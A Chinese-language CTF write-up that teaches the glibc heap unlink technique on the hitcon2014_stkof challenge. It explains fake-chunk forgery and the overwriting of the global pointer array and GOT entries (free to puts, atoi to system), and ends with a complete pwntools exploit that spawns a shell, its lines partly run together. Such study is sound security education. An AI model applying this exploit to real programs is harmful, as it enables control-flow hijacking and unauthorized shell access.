unlink
unlink
知识点
基于目前的理解,我认为unlink这种方法一般适用于菜单中没有show函数或者add或edit函数中对输入有\x00截断使得不能正常调用show函数来打印libc的情况。
unlink简单来说,其实就是把chunk1 ——>chunk2——>chunk3中的chunk2抽出来,调整fd和bk的指针指向,从而控制堆管理指针,完成任意地址写的操作。期间为了绕过检查,我们需要伪造一个堆块。
打unlink还有几个条件,我们伪造堆块时必须用到堆地址,所以程序不能开启pie保护;其次就是程序要有堆溢出漏洞,我们才可以成功改写fake_chunk下一个堆块的pre_size和size。
例题 hitcon2014_stkof
https://github.com/bash-c/pwn_repo
打开题目发现菜单中只有add,edit,delete,
在edit函数中发现了溢出漏洞,编辑时可以自定义大小
delete函数没什么特别的就不看了,要特别注意一下add函数,我们注意到s数组中写的是++dword_602100,这就意味着我们第一个申请的堆块的序号不是0,而是1。
双击s,查看堆管理指针的位置
现在开始攻击的第一步,伪造chunk,一般来说应该申请两个chunk,但是这题比较特殊,我们先add两个堆块,查看heap
发现chunk1被两个io_chunk夹在中间,这是由于程序本身没有进行 setbuf 操作,初次输入输出时会申请缓冲区,所以我们不能利用chunk1来溢出,那就申请三个堆块,利用chunk2和chunk3。
这里要注意几个点,我们要把fake_chunk写在chunk2的data区,fake_chunk需要有正常的pre_size和size,还要有fd和bk,为了绕过检测,我们还必须伪造出fd_next和bk_next,所以fake_chunk的大小最少为0x30,那么我们给chunk2申请0x30即可获得0x30的data区。
然后是chunk3,我们最后是free掉chunk3来完成unlink,我们要知道unlink肯定是存在与双向链表中的,而fastbin是单向链表,所以我们申请一个0x80的chunk3使其能进入unsorted bin。
首先明确一点,我们之后free掉chunk3是想让它向上吞并掉fake_chunk,下面来看怎么伪造堆块,先不管fd和bk位的地址,我们先看pre_size和size,pre_size置零就可以,size按理来说应该是0x30,但是fake_chunk的fd_next和bk_next仅仅是为了绕过检查,所以我们size填0x20即可,为了绕过检查,我们需要在fd_next填一个等于size的大小,至于bk_size,不检查所以我们随便填就好。 到这里是把fake_chunk伪造好了,现在我们还要溢出0x10个字节来修改chunk3的pre_size和size,为了能在释放fake_chunk的时候向前合并fake_chunk,并绕过检查,chunk3的pre_size应该是整个fake_chunk的大小,也就是0x30,这样才能说明fake_chunk是释放状态,然后将size位的0x91改成0x90,原因同上。
现在来思考fake_chunk的fd和bk应该填什么,这样我们貌似不能直接想到,那么来看下面这张图,现在fake_chunk就是second_chunk,我们虽然不知道它的fd和bk,但是我们可以知道third_chunk的fd和first_chunk的bk都是指向fake_chunk的起始地址的
查看fake_chunk的地址(payload中的fd和bk先写成0),找到fake_chunk的地址是0x16ff450
想想之前我们在ida中找到的堆管理指针0x602140,查看该地址的内存,看到三个堆块的data区地址,因为我们edit都是从fd开始控制堆块的,所以堆管理指针中的堆块地址都是堆块正确位置+0x10,这样看起来很正常,但如果我们换一种角度看呢,chunk2+0x10不正好就是fake_chunk的地址吗,如果把堆管理指针看成一个堆块,那fake_chunk是不是就在它的fd位置上,那我们就可以把0x602140当作thrid_chunk(最后进入bin中的),那么0x602140也就可以当作fake_chunk的bk。
那么fake_chunk的fd应该是什么呢,很简单,想一想哪个地址的bk会存fake_chunk的地址呢,就是堆管理指针-8,那0x602140-8也就可以当作fake_chunk的fd
至此,fake_chunk彻底伪造好了,我们用edit函数填入payload即可。
现在free掉chunk3,由于fake_chunk是空闲状态,所以释放chunk3的过程中会向前合并,但是fake_chunk为了绕过检查,需要和first_chunk和third_chunk组成双向链表。那么最终达到的结果就如下图所示。
free掉chunk3之后查看堆管理指针地址,发现原本chunk2的位置变成了 堆管理指针-0x8,那么我们现在edit之前的chunk2,其实是编辑了堆管理指针-0x8,我们填充8个字节,之后就可以在堆管理指针填入一些函数的got。
完成下面这一操作后,对chunk1进行操作也就是对free_got进行操作,之后的也同理
那么接下来就可以通过edit0来修改free的got为puts的plt,那么我们再执行free函数时就可以打印数据。
如下图,我们看之前的payload,将堆管理指针中chunk1改成了puts_got,那么free(1)就可以打印出puts的地址,然后计算libc,把chunk2中的atoi的got改为system,再传入一个binsh就可以拿shell了!
完整exp:
from pwn import *
r=process("./pwn")#r=remote("node5.buuoj.cn",25185)context(os="linux",arch="amd64",log_level="debug")#libc=ELF("./libc-2.23.so")libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")elf=ELF("./pwn")free_got=elf.got['free']puts_got=elf.got['puts']atoi_got=elf.got['atoi']
def add(size):
r.sendline('1')
r.sendline(str(size))
r.recvuntil('OK\n')
def edit(idx, size, content):
r.sendline('2')
r.sendline(str(idx))
r.sendline(str(size))
r.send(content)
r.recvuntil('OK\n')
def free(idx):
r.sendline('3')
r.sendline(str(idx))
add(0x18)add(0x30)add(0x80)
s=0x602140payload=p64(0) + p64(0x20) + p64(s-8)+p64(s) + p64(0x20) + b'a'*8 + p64(0x30) + p64(0x90)edit(2,0x40,payload)
free(3)
payload=b'a'*8+p64(free_got)+p64(puts_got)+p64(atoi_got)edit(2,len(payload),payload)
payload=p64(elf.plt['puts'])edit(0,len(payload),payload)
#gdb.attach(r)free(1)puts=u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))log.success('puts ---->'+hex(puts))
libc_base=puts-libc.sym["puts"]log.success('libc_base ---->'+hex(libc_base))system=libc.sym["system"]+libc_basebinsh = next(libc.search(b"/bin/sh\x00"))+libc_base
edit(2,8,p64(system))add(p64(binsh))
r.interactive()













